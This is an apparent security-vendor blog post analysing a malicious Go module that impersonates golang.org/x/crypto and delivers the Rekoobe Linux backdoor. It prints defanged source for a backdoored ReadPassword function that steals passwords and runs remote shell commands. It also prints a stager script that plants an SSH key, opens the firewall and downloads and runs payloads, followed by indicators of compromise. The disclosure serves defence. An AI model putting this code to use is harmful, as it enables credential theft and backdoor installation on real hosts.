

Malicious Go “crypto” Module Steals Passwords and Deploys Re...



socket.dev/blog/malicious-go-crypto-module-steals-passwords-and-deploys-rekoobe-backdoor

[Back](#)

Research

Malicious Go “crypto” Module Steals Passwords and Deploys Rekoobe Backdoor

An impersonated golang.org/x/crypto clone exfiltrates passwords, executes a remote shell stager, and delivers a Rekoobe backdoor on Linux.



Summarize with AI

Socket's Threat Research Team uncovered a malicious Go module, [github\[.\]com/xinfeisoft/crypto](https://github.com/xinfeisoft/crypto), that imitates the legitimate golang.org/x/crypto codebase but inserts a backdoor in ssh/terminal/terminal.go. That choice was strategic:

golang.org/x/crypto is one of the Go ecosystem's foundational cryptography codebases, maintained by the Go project and widely relied on for primitives and packages such as [bcrypt](#), [argon2](#), [chacha20](#), and [ssh](#), which makes it a high-trust impersonation target in dependency graphs.

When a victim application prompts for a password via [ReadPassword](#), the modified function captures the secret, writes it locally, then reaches out to threat actor-controlled infrastructure for follow-on instructions. It fetches a GitHub hosted "[update](#)" resource, posts the harvested password to a threat actor-supplied endpoint, retrieves a shell script from that endpoint, and executes it to run arbitrary commands on the host.

The downloaded script acts as a Linux stager. It appends a threat actor SSH key to [/home/ubuntu/.ssh/authorized_keys](#), sets [iptables](#) default policies to [ACCEPT](#), and downloads additional payloads from [img\[.\]spoolsv\[.\]cc](#) while disguising them with the [.mp5](#) extension, a media-like label that can help binaries blend in during quick review. The staged payloads include [sss.mp5](#) and [555.mp5](#), which we analyzed and confirmed as a Rekoobe Linux backdoor.

This activity fits namespace confusion and impersonation of the legitimate golang.org/x/crypto subrepository (and its GitHub mirror github.com/golang/crypto). The legitimate project identifies go.dev/doc/faq#canonical-source as canonical and treats GitHub as a mirror, a distinction the threat actor abuses to make github.com/xinfeisoft/crypto look routine in dependency graphs.

As of this writing, the module remains listed on pkg.go.dev, which currently shows [github\[.\]com/xinfeisoft/crypto](https://github.com/xinfeisoft/crypto) at [v0.15.0](#) with a February 20, 2025 publication date. Socket was still able to fetch the malicious module from the public Go module mirror as of December 16, 2025. After we reported the package, the Go security team confirmed that the public Go module proxy now blocks it as malicious and returns a [403 SECURITY ERROR](#) response instead of serving it. That mitigation reduces exposure through Go's default module resolution path, but it does not lessen the severity of a package that impersonated a foundational Go dependency, harvested passwords, and deployed a Linux backdoor chain. We appreciate the Go security team's prompt response in this case and in prior cases where we reported malicious modules, and we are grateful for their continued work to keep the Go ecosystem safe. We also filed an abuse report requesting action on the publisher's GitHub account, which remains live as of this writing.

Socket AI Scanner flags [github\[.\]com/xinfeisoft/crypto](https://github.com/xinfeisoft/crypto) as known malware after detecting a backdoored [ReadPassword](#) path in ssh/terminal/terminal.go that harvests entered credentials, writes them for persistence to [/usr/share/nano/.lock](#), uses a GitHub-hosted "update" page ([raw\[.\]githubusercontent\[.\]com/xinfeisoft/vue-element-admin/refs/heads/main/public/update\[.\]html](https://raw.githubusercontent.com/xinfeisoft/vue-element-admin/refs/heads/main/public/update[.]html)) as a staging indirection to fetch a secondary endpoint, exfiltrates passwords via HTTP POST, then pulls and executes threat actor-supplied shell commands via [/bin/sh](#).

Malicious Module: A Backdoored Clone

The module [github\[.\]com/xinfeisoft/crypto](https://github.com/xinfeisoft/crypto) mirrors the structure and package layout of the legitimate golang.org/x/crypto repository, but it adds a telltale dependency: github.com/bitfield/script (plus supporting libraries). [bitfield/script](https://github.com/bitfield/script) is a legitimate Go module that simplifies HTTP requests and shell style pipelines, which makes it a convenient tool for embedding outbound network activity and command execution into otherwise ordinary-looking code.

On pkg.go.dev, [github\[.\]com/xinfeisoft/crypto](https://github.com/xinfeisoft/crypto) presents as a routine cryptography library with familiar subpackages ([acme](#), [argon2](#), [bcrypt](#), [blake2](#), and others). That lookalike surface helps the malicious module blend into dependency graphs and evade quick visual triage. By copying [x/crypto](#) and changing little else, the threat actor reduces obvious anomalies while preserving expected functionality.

The threat actor placed the backdoor in [ssh/terminal/terminal.go](#), inside the [ReadPassword](#) helper. That choice is deliberate: many command line tools use terminal password prompts for SSH passphrases, database logins, API keys entered interactively, and other high-value secrets that should never leave the host.

Below is a defanged excerpt of the backdoored [ReadPassword](#) implementation, taken directly from the module source, with our added inline comments highlighting the malicious behavior.

```
// Backdoor triggers when the program reads an interactive terminal password.

passcode, err := term.ReadPassword(int(fd))           // Capture typed secret
if err != nil {
    return passcode, err
}

script.Echo(passcode.String()+"\n").                  // Stage plaintext
    AppendFile("/usr/share/nano/.lock")                // Unusual lock path

txt := script.Get("https://raw.githubusercontent.com/xinfeisoft/vue-element-
admin/refs/heads/main/public/update[.]html").
    String()                                           // Fetch staging URL

script.NewPipe().WithStdin(strings.NewReader(passcode.String())).

// Send plaintext
    Post(txt).Wait()                                  // Exfil to threat actor URL

txt2 := script.Get(txt).String()                      // Fetch shell payload
exec.Command("/bin/sh", "-c", txt2).Start()          // Execute in background

return passcode, err
```

The backdoor activates only when an application calls `ReadPassword`, so it stays quiet in most non-interactive test runs and reduces the chance of accidental discovery. The threat actor also uses GitHub-hosted content as a lightweight configuration channel (<https://raw.githubusercontent.com/xinfeisoft/vue-element-admin/refs/heads/main/public/update.html>), which lets them rotate destination URLs without republishing the module and blends into normal developer traffic.

Any application that vendors or imports this module and invokes `ReadPassword` becomes a credential collection point. The hook captures secrets at the moment of entry, before the application can hash, encrypt, or otherwise constrain them. By riding a routine password prompt, the backdoor avoids noisy execution paths and triggers only during real operational use when high-value credentials are most likely to appear.

The Threat Actor

The GitHub account `xinfeisoft` hosts four public repositories: `crypto`, `vue-element-admin`, `demo`, and `feisoft`. The `crypto` repository publishes the malicious Go module (github.com/xinfeisoft/crypto) that backdoors `ssh/terminal.ReadPassword()` to capture interactive secrets, POST them to a threat actor-supplied endpoint, and execute server-provided shell content. The separate `vue-element-admin` repository serves as staging infrastructure. It hosts `public/update.html` on GitHub Raw, which exposes the raw contents of a repository file through a direct URL. The backdoor fetches that file at runtime to obtain the next hop (img.spoolsv.cc/seed.php) and bootstrap the `curl | sh` stager. That design gives the threat actor a simple indirection layer while making the request look more like ordinary developer or CI traffic.

Repository history shows that the threat actor continued maintaining the GitHub-hosted staging pointer after publication. The `vue-element-admin` repository first added `public/update.html` on February 19, 2025, and a later commit on July 12, 2025 changed it from `img.spoolsv.net/seed.php` to `img.spoolsv.cc/seed.php`. That update indicates either infrastructure rotation or correction of an earlier staging value. In either case, it shows that the `vue-element-admin` repository remained operationally relevant months after the malicious module was published.

Commit history for `vue-element-admin/public/update.html` shows that the threat actor updated the GitHub-hosted staging pointer from `img.spoolsv.net/seed.php` to `img.spoolsv.cc/seed.php`, indicating continued maintenance of the delivery chain months after the malicious module was published.

The remaining repositories appear to serve supporting roles. `demo` includes content consistent with developer-side execution via repository artifacts (for example Git hooks), while `feisoft` contains minimal material and does not materially affect the delivery chain based on what we analyzed.

GitHub profile view of the `xinfeisoft` account highlights the small set of public repositories used in the campaign, including the backdoored Go module (`crypto`) and the staging repository (`vue-element-admin`) that hosts the GitHub Raw pointer file leveraged to redirect infected hosts to threat actor-controlled infrastructure.

Linux Stager and Backdoor Delivery Chain

The infrastructure and script content behind `github[.]com/xinfeisoft/crypto` show a multi-stage Linux dropper chain that matches the Go backdoor's runtime flow. The backdoored `ReadPassword` function fetches a GitHub hosted pointer (`update.html`), resolves the next hop (`seed.php`), then executes the response via `/bin/sh`. That response launches a `curl | sh` stager (`snn50.txt`) that prepares the host and delivers follow-on payloads.

Execution chain from the backdoored Go `ReadPassword` hook to Linux compromise: the module captures an interactive password prompt, pulls a GitHub Raw pointer that redirects to `img[.]spoolsv[.]cc`, executes a `curl | sh` stager that installs SSH key persistence and sets `iptables` default policies to `ACCEPT`, then downloads and runs staged payloads, including the confirmed Rekoobe Linux backdoor.

At a high level, the five-stage chain includes three network hops after the `ReadPassword` trigger: `update.html` returns `seed.php`, `seed.php` returns a `curl | sh` launcher, and the launcher pulls `snn50.txt`. The `snn50.txt` stager then appends an SSH key for persistence, sets `iptables` default policies to `ACCEPT`, downloads and executes two `.mp5`-disguised payloads, and deletes the dropped files to reduce on disk artifacts.

Below is the retrieved `snn50.txt` (defanged) content with our inline annotations (commands preserved, comments added for clarity).

```
#!/bin/sh

# Persistence: Add threat actor SSH key explicitly for the ubuntu user
echo 'ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAQDVffclDZxw9RTsAi7Msq/l2erZiT9wnxR0doQed1GOVNO/ZpkqxHNbnbNRW8
SrCzvYqEChJSI7PpoC6nKw5X4xLy8cJXUNUm6B0fIBz160AP966VrFzuQiUgX9JzupI6FcKRdryW6DBIZ24z7y6dKt
Po+lLxPYU2etFHasv2zQ0l2G6N3b7TovZ8k2in71+GQwVCL0Da2MIiqoJrkRGq0QHTJ02n1RfjtZDlzdizZVJgTyT5
mdZFo+UpQEAU530MpvLH6AWzbd7r0l0qZ5bFSlmscsqfCbQfPUG1VTxuX5PE0g/sYtYTK79XeGrNx6h6iRIDDWlR13
Ofv2XLd5AyMj' \
  >>/home/ubuntu/.ssh/authorized_keys

# Exposure: Weaken firewall defaults by setting iptables policies to ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -P INPUT  ACCEPT

# Stage: Drop and run payload 1 (disguised as .mp5), then delete
rm -rf /tmp/mid
sudo curl -s https://img[.]spoolsv[.]cc/sss.mp5 -o /tmp/mid
sudo chmod 777 /tmp/mid
sudo nohup /tmp/mid >/dev/null &
sleep 2
sudo rm -rf /tmp/mid

# Stage: Drop and run payload 2 (disguised as .mp5), then delete
sudo curl -s https://img[.]spoolsv[.]cc/555.mp5 -o /tmp/midd
sudo chmod 777 /tmp/midd
sudo /tmp/midd
sleep 2
sudo rm -rf /tmp/midd
```

This stager does three things that matter operationally. It appends a threat actor-controlled SSH key to `/home/ubuntu/.ssh/authorized_keys`, which creates durable access that survives password changes for the `ubuntu` account if SSH is reachable. It then sets `iptables` default policies to `ACCEPT`, weakening host firewall posture and reducing friction for inbound access and outbound communications. Finally, it downloads and executes two additional binaries from `img[.]spoolsv[.]cc` while disguising them as media files (`.mp5`), then deletes the dropped files to reduce on-disk artifacts.

The hardcoded `/home/ubuntu/.ssh/authorized_keys` path suggests the stager was built for Ubuntu cloud-style environments where `ubuntu` is the default account name, rather than for a typical desktop installation with a custom username. Its repeated use of `sudo` further suggests the threat actor expected that account to have elevated privileges. At this stage, the evidence points to environment-specific targeting, such as cloud VMs, bastions, CI runners, or admin hosts, but it does not yet distinguish between intended victim targeting and threat actor-side testing.

Stage Payloads and Rekoobe Backdoor

The stager downloads two payloads that we recovered and analyzed:

- `sss.mp5` (SHA256:
4afdb3f5914beb0ebe3b086db5a83cef1d3c3c4312d18eff672dd0f6be2146bc)
- `555.mp5` (SHA256:
8b0ec8d0318347874e117f1aed1b619892a7547308e437a20e02090e5f3d2da6).

Disguising executables as media reduces suspicion during manual triage and can bypass simplistic controls that rely on file extensions instead of file type inspection.

The `sss.mp5` sample appears to function as a helper stage that tests connectivity, blends into expected traffic, and then communicates over TCP 443 to `154[.]84[.]63[.]184:443` with at least one observed flow whose initial client payload did not resemble a standard TLS `ClientHello`. We assess `sss.mp5` as a campaign stage component, likely serving as a loader and recon utility.

Additionally, we analyzed `555.mp5` and confirmed it is a Rekoobe Linux backdoor. Public reporting [describes](#) Rekoobe as a versatile backdoor used in multiple espionage-oriented operations, including activity attributed to APT31 (Zirconium). Analyses also note partial lineage from the publicly available Tiny SHell backdoor codebase and variants that use simple encryption and distinct C2 configurations to complicate analysis and detection.

In the packet capture from `555.mp5` execution, we observed repeated communication with `154[.]84[.]63[.]184:443`. The absence of a normal TLS handshake in at least one observed flow suggests custom application data over TCP 443 or an atypical TLS profile, which aligns with backdoors that attempt to resemble “HTTPS” at the port level while keeping content opaque.

Outlook and Recommendations

This campaign will likely repeat because the pattern is low-effort and high-impact: a lookalike module that hooks a high-value boundary (`ReadPassword`), uses GitHub Raw as a rotating pointer, then pivots into `curl | sh` staging and Linux payload delivery. Defenders should anticipate similar supply chain attacks targeting other “credential edge” libraries (SSH helpers, CLI auth prompts, database connectors) and more indirection through hosting surfaces to rotate infrastructure without republishing code.

Treat Go module roots as supply chain boundaries, review `go.mod` and `go.sum` changes as security-sensitive, and block suspicious utility additions that enable network access or shell execution. Add endpoint and CI detections for the concrete behaviors in this chain: writes to `/usr/share/nano/.lock`, GitHub Raw fetch followed by a dynamic POST destination, `curl | sh` execution, `authorized_keys` modification, and `iptables` default policy changes.

Socket’s security tooling maps cleanly to these controls. Use the [Socket GitHub App](#) to scan PR dependency changes and flag suspicious module introductions and sensitive-file edits before merge. Use the [Socket CLI](#) in CI to enforce allow and deny rules and stop risky dependency changes early. Deploy [Socket Firewall](#) to block known malicious packages, including transitive

dependencies, before they are fetched. Add the [Socket browser extension](#) to surface risk signals during package evaluation, and use [Socket MCP](#) to prevent AI-assisted coding workflows from introducing suspicious or hallucinated dependencies.

Indicators of Compromise (IOCs)

Malicious Go Module

`github[.]com/xinfeisoft/crypto`

Threat Actor GitHub Account

`github[.]com/xinfeisoft`

GitHub-Hosted Configuration

`https://raw.githubusercontent.com/xinfeisoft/vue-element-admin/refs/heads/main/public/update[.]html`

Payload Delivery Endpoints

- `https://img.spoolsv[.]cc/seed.php`
- `http://img.spoolsv[.]cc/snn50.txt`
- `https://img.spoolsv[.]cc/sss.mp5`
- `https://img.spoolsv[.]cc/555.mp5`
- `https://img.spoolsv[.]net/seed.php` (historical)

Related Domains

- `img.spoolsv[.]cc`
- `img.spoolsv[.]net`
- `spoolsv[.]cc` (parent domain, likely related)
- `spoolsv[.]net` (parent domain, likely related)

Network Indicators

`154[.]84[.]63[.]184`

Payload SHA256 Hashes

- `sss.mp5`: `4afdb3f5914beb0ebe3b086db5a83cef1d3c3c4312d18eff672dd0f6be2146bc`
- `555.mp5`: `8b0ec8d0318347874e117f1aed1b619892a7547308e437a20e02090e5f3d2da6`

SSH Key (Persistence Implant)

```
AAAAB3NzaC1yc2EAAAADAQABAAQDVffclDzXW9RTsAi7Msq/l2erZiT9wnxR0doQed1G0VN0/Zp
kqxHNbnbNRW8SrCzvYqEChJSI7PpoC6nKw5X4xLy8cJXUNUm6B0fIBz160AP966VrFzuQiUgX9Jzup
I6FcKRdryW6DBIZ24z7y6dKtPo+1LxPYU2etFHasv2zQ0l2G6N3b7TovZ8k2in71+GQwVCL0Da2MIi
qoJrkRGq0QHTJ02n1RfjtZDlZDizZVJgTyT5mdZFo+UpQEAU530MpvLH6AWzbd7r0l0qZ5bFSlmscs
qfCbQfPUG1VTxuX5PE0g/sYtYTK79XeGrNx6h6iRIDDwLR130fv2XLd5AyMj
```

MITRE ATT&CK

- T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
- T1204.005 — User Execution: Malicious Library
- T1036 — Masquerading
- T1036.008 — Masquerading: Masquerade File Type
- T1656 — Impersonation
- T1056 — Input Capture
- T1071.001 — Application Layer Protocol: Web Protocols
- T1102.001 — Web Service: Dead Drop Resolver
- T1105 — Ingress Tool Transfer
- T1059.004 — Command and Scripting Interpreter: Unix Shell
- T1098.004 — Account Manipulation: SSH Authorized Keys
- T1562.004 — Impair Defenses: Disable or Modify System Firewall
- T1070.004 — Indicator Removal: File Deletion

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Enter your email